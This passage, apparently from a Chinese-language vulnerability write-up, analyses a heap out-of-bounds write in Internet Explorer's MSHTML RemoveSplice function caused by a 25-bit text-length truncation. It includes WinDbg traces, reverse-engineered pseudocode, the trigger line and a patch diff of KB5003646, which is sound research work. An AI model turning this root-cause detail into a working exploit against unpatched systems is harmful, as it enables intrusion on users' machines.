_pFirstChild = 00000000
_pNext = 04896c30,Pointer
_pLeft = 048a02ac,<html>
_pRight = 04896c30,Pointer
_ulRefs_Flags = 00000040
pSmartObject = 00000000
_pTextData = 00000000
_dwPointerAndGravityAndCling = 04f3ce28
---------------------------------------------------------------------------------------------------------------
Pointer
CTreeDataPos * = 04896bd0
dd 04896bd0
04896bd0 000002b8 00680002 04896ae0 04896c60
04896be0 048a0624 04896c60 00000040 00000000
04896bf0 00000000 04f3ce70 00000000
_cElemLeftAndFlags = 000002b8
ElemLeft = 0x2
Flags = 0xb8 = 1011 1000,Pointer=0x8,TPF_LEFT_CHILD=0x10,TPF_LAST_CHILD=0x20,TPF_DATA_POS=0x80
_cchLeft = 00680002
_pFirstChild = 04896ae0,Text
_pNext = 04896c60,Pointer
_pLeft = 048a0624,</body>
_pRight = 04896c60,Pointer
_ulRefs_Flags = 00000040
pSmartObject = 00000000
_pTextData = 00000000
_dwPointerAndGravityAndCling = 04f3ce70
我根據CTreePos中的_pFirstChild和_pNext成員,可以還原出此漏洞PoC所對應的DOM樹結構如下圖所示:

我根據CTreePos中的_pLeft和_pRight成員,可以還原出此漏洞PoC所對應的DOM流結構如下圖所示:
6.3 漏洞產生的根本原因分析
以下是動態調試過程中,關鍵部分的WinDbg輸出內容:
(638.e60): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ffd`64a43150 cc int 3
0:020> bp MSHTML!CSpliceTreeEngine::RemoveSplice
0:020> bp 63A46783 ; Crash前調用的第一個CTreePos::GetCp()
0:020> bp 63A467B5 ; 分配存儲要刪除的元素的堆塊,operator new[]()
0:020> bp 63A468CF ; 獲取文本的未截斷長度,Tree::TextData::GetText()
0:020> g
Breakpoint 0 hit
MSHTML!CSpliceTreeEngine::RemoveSplice:
63a46320 8bff mov edi,edi ; 第一次中斷,b.innerHTML = Array(40370176).toString();
0:008:x86> g
Breakpoint 0 hit
MSHTML!CSpliceTreeEngine::RemoveSplice:
63a46320 8bff mov edi,edi ; 第二次中斷,b.innerHTML = "";
0:008:x86> g
Breakpoint 1 hit
MSHTML!CSpliceTreeEngine::RemoveSplice+0x463:
63a46783 8b4e14 mov ecx,dword ptr [esi+14h] ds:002b:0508ca1c=04aae54c
0:008:x86> p
eax=00000000 ebx=0508cb38 ecx=04aae54c edx=00000000 esi=0508ca08 edi=04aae54c
eip=63a46786 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x466:
63a46786 e8dc118900 call MSHTML!CTreePos::GetCp (642d7967) ; 返回值為0x2,<ROOT>和<html>標簽對應的字符數
0:008:x86> dd ecx-0xc l10 ; CTreeNode,_ptpSourceL(<head>),0x04aae548 = 0x36 = 54,ETAG_HEAD = 54
04aae540 04a82d40 04aae240 70020036 00000061
04aae550 00000000 04a84b40 04aae24c 04a84b40
04aae560 04aae564 00000052 00000000 04aae5ac
04aae570 04aae5c4 04aae54c 04aae5ac ffffffff
0:008:x86> p
eax=00000002 ebx=0508cb38 ecx=00000000 edx=04a3d534 esi=0508ca08 edi=04aae54c
eip=63a4678b esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x46b:
63a4678b 8b4e18 mov ecx,dword ptr [esi+18h] ds:002b:0508ca20=04aae5c4
0:008:x86> p
eax=00000002 ebx=0508cb38 ecx=04aae5c4 edx=04a3d534 esi=0508ca08 edi=04aae54c
eip=63a4678e esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x46e:
63a4678e bf01000000 mov edi,1
0:008:x86> dd ecx-0x24 l10 ; CTreeNode,_ptpSourceL(</body>),0x04aae5a8 = 0x12 = 18,ETAG_BODY = 18
04aae5a0 04a86320 04aae240 70020012 00000061
04aae5b0 00000000 00000000 04aae564 04aae564
04aae5c0 04a849f0 00000062 00000000 00000000
04aae5d0 04a849f0 04a849f0 04a84ae0 ffffffff
0:008:x86> p
eax=00000002 ebx=0508cb38 ecx=04aae5c4 edx=04a3d534 esi=0508ca08 edi=00000001
eip=63a46793 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x473:
63a46793 2bf8 sub edi,eax ; 1-2=-1
0:008:x86> p
eax=00000002 ebx=0508cb38 ecx=04aae5c4 edx=04a3d534 esi=0508ca08 edi=ffffffff
eip=63a46795 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
MSHTML!CSpliceTreeEngine::RemoveSplice+0x475:
63a46795 e8cd118900 call MSHTML!CTreePos::GetCp (642d7967) ; 返回值為0x00680004
; Array(40370176),40370176-1 = 0x267ffff
; CTreeDataPos->DATAPOSTEXT->_cch(25bit),0x67ffff
; 0x00680004 = 0x67ffff + 0x5
; <ROOT>,<html>,<head>,</head>,<body>標簽的字符數每個為1
0:008:x86> p
eax=00680004 ebx=0508cb38 ecx=00000000 edx=04aae5c4 esi=0508ca08 edi=ffffffff
eip=63a4679a esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x47a:
63a4679a 8b4e18 mov ecx,dword ptr [esi+18h] ds:002b:0508ca20=04aae5c4
0:008:x86> p
eax=00680004 ebx=0508cb38 ecx=04aae5c4 edx=04aae5c4 esi=0508ca08 edi=ffffffff
eip=63a4679d esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x47d:
63a4679d 8d1407 lea edx,[edi+eax] ; edx = 0x00680003
; _ptpSourceL(<head>),_ptpSourceL(</body>)
; CTreeDataPos->DATAPOSTEXT->_cch(25bit),0x67ffff
; 0x00680003 = 0x67ffff + 0x4
; <head>,</head>,<body>,</body>標簽的字符數每個為1
......
0:008:x86> g
Breakpoint 2 hit
MSHTML!CSpliceTreeEngine::RemoveSplice+0x495:
63a467b5 8b442458 mov eax,dword ptr [esp+58h] ss:002b:0508c800=00680004
0:008:x86> p
MSHTML!CSpliceTreeEngine::RemoveSplice+0x499:
63a467b9 3b442460 cmp eax,dword ptr [esp+60h] ss:002b:0508c808=00680004
0:008:x86> p
MSHTML!CSpliceTreeEngine::RemoveSplice+0x49d:
63a467bd 0f8f36ac1400 jg MSHTML!CSpliceTreeEngine::RemoveSplice+0x14b0d9 (63b913f9) [br=0]
0:008:x86> p
eax=00680004 ebx=0508cb38 ecx=04aae5c4 edx=00680003 esi=0508ca08 edi=ffffffff
eip=63a467c3 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4a3:
63a467c3 8d0c12 lea ecx,[edx+edx]
0:008:x86> p
eax=00680004 ebx=0508cb38 ecx=00d00006 edx=00680003 esi=0508ca08 edi=ffffffff
eip=63a467c6 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4a6:
63a467c6 e8c3fa1e00 call MSHTML!ProcessHeapAlloc<0> (63c3628e) ; 分配的堆塊是以文本截斷長度進行分配的
0:008:x86> p
eax=21d4e020 ebx=0508cb38 ecx=00d00006 edx=00000000 esi=0508ca08 edi=ffffffff
eip=63a467cb esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4ab:
63a467cb 89465c mov dword ptr [esi+5Ch],eax ds:002b:0508ca64=00000000
0:008:x86> !heap -x eax
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
0000000021d4e018 0000000021d4e020 0000000000670000 0000000000670000 d01000 0 ffa busy extra virtual
0:008:x86> g
Breakpoint 3 hit
eax=000002e4 ebx=0508cb38 ecx=04a849f0 edx=00000003 esi=0508ca08 edi=0000fdef
eip=63a468cf esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5af:
63a468cf 8b4920 mov ecx,dword ptr [ecx+20h] ds:002b:04a84a10=1d02f020
0:008:x86> dd ecx lc ; CTreeDataPos(Text)
04a849f0 000002e4 00000002 04aae564 04aae54c
04a84a00 04aae5ac 04aae5c4 00000041 00000000
04a84a10 1d02f020 8267ffff 00000000 00000000
0:008:x86> !heap -x 1d02f020
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
000000001d02f018 000000001d02f020 0000000000670000 0000000000670000 4d01000 0 ffa busy extra virtual
0:008:x86> dd 1d02f020 l10 ; Tree::TextData對象
1d02f020 00000002 0267ffff 002c002c 002c002c
1d02f030 002c002c 002c002c 002c002c 002c002c
1d02f040 002c002c 002c002c 002c002c 002c002c
1d02f050 002c002c 002c002c 002c002c 002c002c
0:008:x86> dd 1d02f020+0x2680000*2-0x10 l10
21d2f010 002c002c 002c002c 002c002c 002c002c
21d2f020 002c002c 0000002c 00000000 00000000
21d2f030 00000000 00000000 00000000 00000000
21d2f040 00000000 00000000 00000000 00000000
0:008:x86> p
eax=000002e4 ebx=0508cb38 ecx=1d02f020 edx=00000003 esi=0508ca08 edi=0000fdef
eip=63a468d2 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5b2:
63a468d2 8d442414 lea eax,[esp+14h]
0:008:x86> p
eax=0508c7bc ebx=0508cb38 ecx=1d02f020 edx=00000003 esi=0508ca08 edi=0000fdef
eip=63a468d6 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5b6:
63a468d6 50 push eax ; 存儲實際獲得的文本長度的局部變量
0:008:x86> p
eax=0508c7bc ebx=0508cb38 ecx=1d02f020 edx=00000003 esi=0508ca08 edi=0000fdef
eip=63a468d7 esp=0508c7a4 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5b7:
63a468d7 6a00 push 0 ; skip_cch,需要跳過的字符數
0:008:x86> p
eax=0508c7bc ebx=0508cb38 ecx=1d02f020 edx=00000003 esi=0508ca08 edi=0000fdef
eip=63a468d9 esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5b9:
63a468d9 e890b1fbff call MSHTML!Tree::TextData::GetText (63a01a6e)
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=1d02f020 edx=0508c7bc esi=0508ca08 edi=0000fdef
eip=63a468de esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5be:
63a468de 8b7c2414 mov edi,dword ptr [esp+14h] ss:002b:0508c7bc=0267ffff
0:008:x86> dd eax-0x8 l10 ; 返回值為文本字符串的指針,Tree::TextData對象偏移8字節處
1d02f020 00000002 0267ffff 002c002c 002c002c
1d02f030 002c002c 002c002c 002c002c 002c002c
1d02f040 002c002c 002c002c 002c002c 002c002c
1d02f050 002c002c 002c002c 002c002c 002c002c
0:008:x86> dd 0508c7bc l1
0508c7bc 0267ffff ; 實際獲得的文本長度,未截斷文本長度,0x0267ffff = 40370176 - 1
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=1d02f020 edx=0508c7bc esi=0508ca08 edi=0267ffff
eip=63a468e2 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5c2:
63a468e2 8b4c2424 mov ecx,dword ptr [esp+24h] ss:002b:0508c7cc=00000003
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=00000003 edx=0508c7bc esi=0508ca08 edi=0267ffff
eip=63a468e6 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5c6:
63a468e6 8b54241c mov edx,dword ptr [esp+1Ch] ss:002b:0508c7c4=00680003
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=00000003 edx=00680003 esi=0508ca08 edi=0267ffff
eip=63a468ea esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5ca:
63a468ea 57 push edi ; edi,源文本字符串長度,未截斷文本長度
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=00000003 edx=00680003 esi=0508ca08 edi=0267ffff
eip=63a468eb esp=0508c7a4 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5cb:
63a468eb 50 push eax ; eax,源文本字符串內存地址
0:008:x86> p
eax=1d02f028 ebx=0508cb38 ecx=00000003 edx=00680003 esi=0508ca08 edi=0267ffff
eip=63a468ec esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5cc:
63a468ec 8b465c mov eax,dword ptr [esi+5Ch] ds:002b:0508ca64=21d4e020
0:008:x86> p
eax=21d4e020 ebx=0508cb38 ecx=00000003 edx=00680003 esi=0508ca08 edi=0267ffff
eip=63a468ef esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5cf:
63a468ef 2bd1 sub edx,ecx ; edx,目的內存大小,截斷文本長度
0:008:x86> p
eax=21d4e020 ebx=0508cb38 ecx=00000003 edx=00680000 esi=0508ca08 edi=0267ffff
eip=63a468f1 esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5d1:
63a468f1 8d0c48 lea ecx,[eax+ecx*2] ; ecx,目的內存地址
0:008:x86> p
eax=21d4e020 ebx=0508cb38 ecx=21d4e026 edx=00680000 esi=0508ca08 edi=0267ffff
eip=63a468f4 esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5d4:
63a468f4 e8b8852500 call MSHTML!wmemcpy_s (63c9eeb1)
0:008:x86> dd esp l2
0508c7a0 1d02f028 0267ffff
0:008:x86> p
Invalid parameter passed to C runtime function.
eax=00000022 ebx=0508cb38 ecx=8cccdfa3 edx=00000000 esi=0508ca08 edi=0267ffff
eip=63a468f9 esp=0508c7a0 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x5d9:
63a468f9 8b4c2418 mov ecx,dword ptr [esp+18h] ss:002b:0508c7b8=04a849f0
0:008:x86> g
(638.ad8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=21d4e020 ebx=0508cb38 ecx=04aae5c4 edx=02680002 esi=0508ca08 edi=0000fdef
eip=63a46809 esp=0508c7a8 ebp=0508c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x4e9:
63a46809 66893c50 mov word ptr [eax+edx*2],di ds:002b:26a4e024=???? ; Crash
下面是存在漏洞的函數CSpliceTreeEngine::RemoveSplice()的關鍵部分代碼(逆向所得):
HRESULT __thiscall CSpliceTreeEngine::RemoveSplice(CSpliceTreeEngine *this)
{
// 初始DOM流,_ptpSourceL(<head>),_ptpSourceR(CTreeDataPos(Pointer,04b152f0))
// <ROOT> -> <html> -> CTreeDataPos(Pointer,04b15320) -> <head> -> </head> -> <body> -> CTreeDataPos(Text,04b151a0)
// -> </body> -> CTreeDataPos(Pointer,04b152f0) -> </html> -> </ROOT>
...
// pSpliceAnchor._pTreePos = _ptpSourceL->_pLeft
// 執行完第一個CSpliceTreeEngine::CSpliceAnchor::AnchorAt()后的DOM流
// <ROOT> -> <html> -> CTreeDataPos(Pointer,04b15320) ->CTreeDataPos(Pointer,04b15350) -> <head> -> </head> -> <body>
// -> CTreeDataPos(Text,04b151a0) -> </body> -> CTreeDataPos(Pointer,04b152f0) -> </html> -> </ROOT>
hr1 = CSpliceTreeEngine::CSpliceAnchor::AnchorAt(&pSpliceAnchorL, ptpSourceL, 1, 0);
// pSpliceAnchor1._pTreePos = _ptpSourceR->_pRight
// 執行完第二個CSpliceTreeEngine::CSpliceAnchor::AnchorAt()后的DOM流
// <ROOT> -> <html> -> CTreeDataPos(Pointer,04b15320) ->CTreeDataPos(Pointer,04b15350) -> <head> -> </head> -> <body>
// -> CTreeDataPos(Text,04b151a0) -> </body> -> CTreeDataPos(Pointer,04b152f0) -> CTreeDataPos(Pointer,04b15380) -> </html> -> </ROOT>
if ( hr1 || (hr1 = CSpliceTreeEngine::CSpliceAnchor::AnchorAt(&pSpliceAnchorR, this->_ptpSourceR, 0, 1)) != 0 )// ?不滿足
{
LABEL_156:
hr = hr1;
goto LABEL_157;
}
// _ptpSourceL != _ptpSourceR->NextTreePos()
if ( this->_ptpSourceR->_pRight != this->_ptpSourceL )// ?必須滿足,CSpliceTreeEngine,CTreePos
{
...
if ( HIBYTE(v179) && (this->field_54 & 4) != 0 )// CSpliceTreeEngine,CMarkUp,this->field_54=0x4
{
ptpSourceL_cchLeft = 1 - CTreePos::GetCp(this->_ptpSourceL);// 1-2=-1,_ptpSourceL(<head>)
ptpSourceR_cchLeft = CTreePos::GetCp(this->_ptpSourceR);// 0x00680005,_ptpSourceR(CTreeDataPos(Pointer,04b152f0))
ptpSourceR = this->_ptpSourceR;
fNotText = (ptpSourceR->_cElemLeftAndFlags & 4) == 0;
ptpSourceR_to_ptpSourceL_cch = ptpSourceL_cchLeft + ptpSourceR_cchLeft;
if ( !fNotText ) // fNotText = True
{
TextLength = CTreeDataPos::GetTextLength(ptpSourceR);
ptpSourceR_to_ptpSourceL_cch = TextLength + ptpSourceR_to_ptpSourceL_cch - 1;
}
LOBYTE(ptpSourceR) = HIBYTE(v179); // ptpSourceR = v179 = 1
v11 = cch; // v173 = 0
}
...
if ( ptpSourceR ) // ?必須滿足
{
if ( (this->field_54 & 4) != 0 )
{
ptpSourceL_cchLeft = 1 - CTreePos::GetCp(this->_ptpSourceL);// 1-2=-1,_ptpSourceL(<head>)
ptpSourceR_cchLeft = CTreePos::GetCp(this->_ptpSourceR);// 0x00680005,_ptpSourceR(CTreeDataPos(Pointer,04b152f0))
ptpSourceR = this->_ptpSourceR;
fNotText = (ptpSourceR->_cElemLeftAndFlags & 4) == 0;
ptpSourceR_to_ptpSourceL_cch1 = ptpSourceL_cchLeft + ptpSourceR_cchLeft;//CTreePos,Cp
if ( !fNotText )
{
TextLength = CTreeDataPos::GetTextLength(ptpSourceR);
ptpSourceR_to_ptpSourceL_cch1 = TextLength + ptpSourceR_to_ptpSourceL_cch1 - 1;
}
}
}
...
}
...
// 去除邊界上帶有cling的指針。這樣做是為了讓_ptpSourceL/R可以在非指針位置上重新定位。我們這樣做是為了讓元素能夠在退出樹通知中進行選擇。
while ( 1 )
{
ptpSourceL = this->_ptpSourceL; // _ptpSourceL(<head>)
// Pointer=0x8,_ptpSourceL->IsPointer()
if ( (ptpSourceL->_cElemLeftAndFlags & 8) == 0 || ptpSourceL == this->_ptpSourceR )// ?必須滿足,CTreePos
break; // _ptpSourceL(<head>),退出循環
// _ptpSourceL->NextTreePos()
ptpSourceL_Right = ptpSourceL->_pRight;
if ( (ptpSourceL->dptp.p._dwPointerAndGravityAndCling & 2) != 0 )// Cling = 0x2
Tree::TreeWriter::Remove(ptpSourceL, &this->_pMarkupSource->_tpRoot, &this->_pMarkupSource->_ptpFirst);
this->_ptpSourceL = ptpSourceL_Right;
}
while ( 1 )
{
ptpSourceR = this->_ptpSourceR; // _ptpSourceR(CTreeDataPos(Pointer,04b152f0))
if ( (ptpSourceR->_cElemLeftAndFlags & 8) == 0 || this->_ptpSourceL == ptpSourceR )// ?必須滿足,CTreePos
break;
// _ptpSourceR->PreviousTreePos()
ptpSourceR_Left = ptpSourceR->_pLeft;
if ( (ptpSourceR->dptp.p._dwPointerAndGravityAndCling & 2) != 0 )// Cling = 0x2
Tree::TreeWriter::Remove(ptpSourceR, &this->_pMarkupSource->_tpRoot, &this->_pMarkupSource->_ptpFirst);
this->_ptpSourceR = ptpSourceR_Left; // 這里對_ptpSourceR進行了修改,最終_ptpSourceR(</body>)
}
...
if ( (ptpSourceR->_cElemLeftAndFlags & 4) == 0// ptpSourceR(</body>)
|| ptpSourceR == this->_ptpSourceL
|| (hr = CSpliceTreeEngine::CSpliceAnchor::AnchorAt(&pSpliceAnchor, ptpSourceR, 1, 1), (hr1 = hr) == 0) )// ?必須滿足,CTreePos
{
...
while ( 1 )
{
Cch = 0;
if ( HIBYTE(v179) && (this->field_54 & 4) != 0 )// ?必須滿足
{
ptpSourceL_cchLeft = 1 - CTreePos::GetCp(this->_ptpSourceL);// 1-2=-1,_ptpSourceL(<head>)
// ptpSourceR,截斷文本長度,orig_sz&0x1ffffff,CTreeDataPos中DATAPOSTEXT結構體存儲文本長度的_cch成員只有25bit
ptpSourceR_cchLeft = CTreePos::GetCp(this->_ptpSourceR);// 0x00680004,_ptpSourceR(</body>)
ptpSourceR = this->_ptpSourceR;
ptpSourceR_to_ptpSourceL_cch2 = ptpSourceL_cchLeft + ptpSourceR_cchLeft;
fNotText = (ptpSourceR->_cElemLeftAndFlags & 4) == 0;// Text=0x4
ptpSourceR_to_ptpSourceL_cch2 = ptpSourceL_cchLeft + ptpSourceR_cchLeft;
if ( !fNotText ) // 是文本數據則執行,不必須滿足,CTreePos
{
TextLength = CTreeDataPos::GetTextLength(ptpSourceR);
ptpSourceR_to_ptpSourceL_cch2 = TextLength + ptpSourceR_to_ptpSourceL_cch2 - 1;
}
// ptpSourceR_to_ptpSourceL_cch = 0x00680004 = 1-2+0x00680005
// ptpSourceR_to_ptpSourceL_cch1 = 0x00680004 = 1-2+0x00680005
if ( ptpSourceR_to_ptpSourceL_cch > ptpSourceR_to_ptpSourceL_cch1 )// ?不滿足,v192(CTreePos),v194(CTreePos)
{
...
}
else
{
pUndoChRecord = operator new[](2 * ptpSourceR_to_ptpSourceL_cch2);// g_hProcessHeap
this->_pUndoChRecord = pUndoChRecord;
if ( pUndoChRecord ) // ?必須滿足,CSpliceTreeEngine
{
ptpSourceR = this->_ptpSourceR; // _ptpSourceR(</body>)
ptpSourceL = this->_ptpSourceL; // _ptpSourceL(<head>)
for ( ptp = ptpSourceL; ptp != ptpSourceR->_pRight; ptp = ptp->_pRight )// ?必須滿足,CTreePos
{
// <head> -> </head> -> <body> -> CTreeDataPos(Text,04b151a0) -> </body>
ptp_cElemLeftAndFlags = ptp->_cElemLeftAndFlags;
if ( (ptp_cElemLeftAndFlags & 4) != 0 )// ?必須滿足,CTreePos,Text=0x4
{
// 未截斷文本長度,CTreeDataPos中_pTextData成員指向的Tree::TextData類對象的_cch,使用32bit存儲文本長度
pText = Tree::TextData::GetText(ptp->_pTextData, 0, &TextLen);
// 這里只是向堆塊復制了ptpSourceR_to_ptpSourceL_cch2多個字符(寬字符)
wmemcpy_s(&this->_pUndoChRecord[Cch], ptpSourceR_to_ptpSourceL_cch2 - Cch, pText, TextLen);
Cch += TextLen; //下面會使用未截斷的文本長度進行索引
}
// BOOL IsNode() const { return TestFlag(NodeBeg|NodeEnd); },NodeBeg=0x1,NodeEnd=0x2
// BOOL IsEdgeScope() const { return TestFlag(TPF_EDGE); },TPF_EDGE=0x40
// BOOL IsData2Pos() const { return TestFlag(TPF_DATA2_POS); },TPF_DATA2_POS=0x40
else if ( (ptp_cElemLeftAndFlags & 3) != 0 && (ptp_cElemLeftAndFlags & 0x40) != 0 )// ?必須滿足,CTreePos
{
this->_pUndoChRecord[Cch++] = 0xFDEF; // Crash,寫入內容無法控制,寫入位置可以控制
}
}
}
else
{
...
}
}
}
...
}
...
}
...
}
造成堆越界寫的根本原因是,用于標識文本字符串在DOM樹/DOM流中的位置的CTreeDataPos類對象中有兩個結構用于記錄文本字符串的長度,一個是結構體DATAPOSTEXT的_cch成員(25bit),一個是Tree::TextData對象中的_cch成員(32bit)。由于它們的大小不同,當文本字符串的長度超過25bit能夠表示的長度后,在向結構體DATAPOSTEXT的_cch成員賦值時,會造成其存儲的是截斷后的長度。之后調用CSpliceTreeEngine::RemoveSplice()函數刪除文本字符串在DOM樹/DOM流的結構時,會使用CTreePos::GetCp()函數獲得要刪除的DOM樹/DOM流結構所占用的字符數(包含截斷的文本字符串長度),并用其申請一段內存。然后,調用Tree::TextData::GetText()函數獲得Tree::TextData對象中的_cch成員中存儲的未截斷文本字符串長度,并用其作為索引,對前面申請的內存進行賦值操作,從而造成了堆越界寫漏洞。
7 漏洞修復
分析此漏洞時,使用的環境是Windows 10 1809 Pro x64。在此漏洞的MSRC公告頁面,可以找到當前環境該漏洞的補丁號為KB5003646。在補丁詳情頁面,我們可以知道此補丁只適用于LTSC版本。當前環境,此補丁無法安裝成功。所以我使用Windows 10 Enterprise LTSC 2019環境來進行補丁安裝并進行補丁分析。我用的是2019年03月發布的Windows 10 Enterprise LTSC 2019,成功安裝此漏洞補丁需要先安裝2021年5月11日之后發布的服務堆棧更新(SSU),這里安裝的是KB5003711,安裝完之后再安裝此漏洞的補丁KB5003646,就可以成功安裝。
由于KB5003646補丁是2021年6月8日發布的一個累計更新,如果補丁分析時所用的兩個漏洞模塊文件是兩個更新時間相差較大的環境提取出來的,會造成不好定位補丁位置。所以我們需要知道2021年5月發布的累計更新補丁編號。這可以通過KB5003646在Microsoft更新目錄詳情頁面的信息得到。

以下是KB5003171和KB5003646補丁對應的mshtml.dll的版本號:
| 補丁編號 | mshtml.dll版本號 |
|---|---|
| KB5003171 | 11.0.17763.1911 |
| KB5003646 | 11.0.17763.1999 |
接下來我們將這兩個補丁環境的mshtml.dll提取出來,使用IDA打開并生成IDB文件,再使用BinDiff進行補丁比較。不同的IDA版本和不同的BinDiff版本可能會出現不兼容的情況,我這里使用的是IDA Pro7.5+BinDiff6。分析完成后,得到如下結果:

根據前面的根本原因分析,我們可以知道此漏洞是和文本字符串相關的。再來看BinDiff分析出來的結果,存在差異的函數中只有Tree::TreeWriter::NewTextPosInternal()和CTreeDataPos::GetPlainTextLength()是與文本字符串有關的。通過IDA靜態分析這兩個函數后,可以確定補丁位置位于Tree::TreeWriter::NewTextPosInternal()函數中。因為CTreeDataPos::GetPlainTextLength()函數中調用了Tree::TextData::GetText()函數,從之前給出的逆向出的Tree::TextData::GetText()函數代碼可知,Tree::TextData::GetText()函數是從Tree::TextData對象獲取文本字符串的指針和長度的。Tree::TextData對象中的_cch用于存儲文本字符串的長度,它的長度為32bit。而CTreeDataPos對象中結構體DATAPOSTEXT的_cch成員也是用于存儲文本字符串的長度,它的長度為25bit。如果字符串長度超過了25bit所能表示的范圍,在向結構體DATAPOSTEXT的_cch成員存入字符串長度時,就會造成截斷。補丁代碼應該是在向結構體DATAPOSTEXT的_cch成員寫入文本字符串長度時,對文本字符串的長度進行判斷。所以補丁位置并不在CTreeDataPos::GetPlainTextLength()函數中。
下圖為Tree::TreeWriter::NewTextPosInternal()函數中添加的補丁代碼:

如下是,經過處理的補丁前后Tree::TreeWriter::NewTextPosInternal()函數的IDA反編譯代碼:
//補丁前:
void __fastcall Tree::TreeWriter::NewTextPosInternal(CTreeDataPos **ppTreeDataPos, const wchar_t *SrcTextPtr, ULONG SrcTextCch, const CTreePos *a4, enum htmlLayoutMode eHLM, BYTE sid, LONG lTextID, int a8, bool a9)
{
CTreeDataPos *pTreeDataPos; // ecx
